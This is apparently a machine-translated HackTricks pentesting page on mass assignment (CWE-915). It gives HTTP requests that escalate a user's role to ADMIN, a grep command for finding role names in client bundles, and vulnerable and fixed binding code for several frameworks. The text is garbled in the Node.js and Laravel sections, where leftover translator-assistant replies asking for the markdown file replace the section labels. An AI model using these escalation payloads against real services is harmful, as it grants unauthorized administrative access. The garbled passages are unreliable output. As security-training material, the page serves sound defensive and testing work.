Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Mass assignment (a.k.a. insecure object binding) は、API/controller がユーザー提供の JSON を受け取り、フィールドの明示的な allow-list なしにそれをサーバー側の model/entity に直接バインドする場合に発生します。roles、isAdmin、status、ownership fields のような特権プロパティがバインド可能であれば、認証済みの任意のユーザーが権限を昇格させたり、保護された状態を改ざんしたりできます。

これは Broken Access Control の問題(OWASP A01:2021)で、roles=ADMIN のように設定することで垂直的な権限昇格を引き起こすことが多いです。リクエストボディをデータモデルに自動バインドするフレームワーク(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs など)に一般的に影響します。

1) Mass Assignment の検出

自己サービス系のエンドポイントを探してください(自分のプロファイルや類似リソースを更新するもの):

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

mass assignment を示すヒューリスティック:

  • レスポンスがサーバー管理のフィールド(例: roles, status, isAdmin, permissions)をエコーしている(あなたが送っていない場合でも)。
  • クライアントバンドルにアプリ全体で使われている role names/IDs やその他の特権属性名(admin, staff, moderator, internal flags)が含まれている — バインド可能なスキーマを示唆します。
  • Backend serializers が未知のフィールドを拒否せず受け入れている。

簡易テストフロー:

  1. 安全なフィールドのみで通常の更新を行い、フルな JSON レスポンス構造を観察します(this leaks the schema)。
  2. ボディに細工した特権フィールドを含めて更新を繰り返します。レスポンスが変更を保持するなら、mass assignment の可能性が高いです。

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

レスポンスが特権フィールドを示唆する:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

bindable shape を把握したら、同じリクエストに privileged property を含めます。

例: 自分の user resource の roles を ADMIN に設定する:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

Notes

  • ロール識別子や形状は、client JS bundle や API docs から列挙されることが多い。Search for strings like "roles", "ADMIN", "STAFF", or numeric role IDs.
  • If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.

3) Client Bundle Recon for Schema and Role IDs

  • Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
  • Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
  • Typical indicators: role name constants, dropdown option lists, validation schemas.

Handy greps against a downloaded bundle:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) フレームワークの落とし穴と安全なパターン

この脆弱性は、フレームワークが req.body を永続的なエンティティに直接バインドする際に発生します。以下は一般的なミスと最小限の安全なパターンです。

Node.js (Express + Mongoose)

脆弱:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

I don't have the contents of src/pentesting-web/mass-assignment-cwe-915.md. Please paste the markdown you want translated (or specify which sections), and I'll return the Japanese translation keeping the original tags/links/paths intact.

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

脆弱(strong parameters を使用していない):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

修正 (strong params + 特権フィールドなし):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

脆弱:

php
protected $guarded = []; // Everything mass-assignable (bad)

Could you paste the contents of src/pentesting-web/mass-assignment-cwe-915.md that you want fixed/translated?
(翻訳・修正したい src/pentesting-web/mass-assignment-cwe-915.md の内容を貼ってください。)

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

脆弱なパターン:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

修正: 許可されたフィールドのみを持つDTOにマッピングし、認可を強制する:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

次に、サーバー側で DTO から許可されたフィールドのみをエンティティにコピーし、ロールの変更は RBAC チェック後に管理者専用のハンドラでのみ処理します。必要なら特権フィールドに @JsonIgnore を使い、未知のプロパティは拒否してください。

Go (encoding/json)

  • 特権フィールドが json:"-" を使用していることを確認し、許可されたフィールドのみを含む DTO struct で検証してください。
  • decoder.DisallowUnknownFields() の利用を検討し、バインド後に不変条件を検証してください(セルフサービスルートでは roles を変更できない等)。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする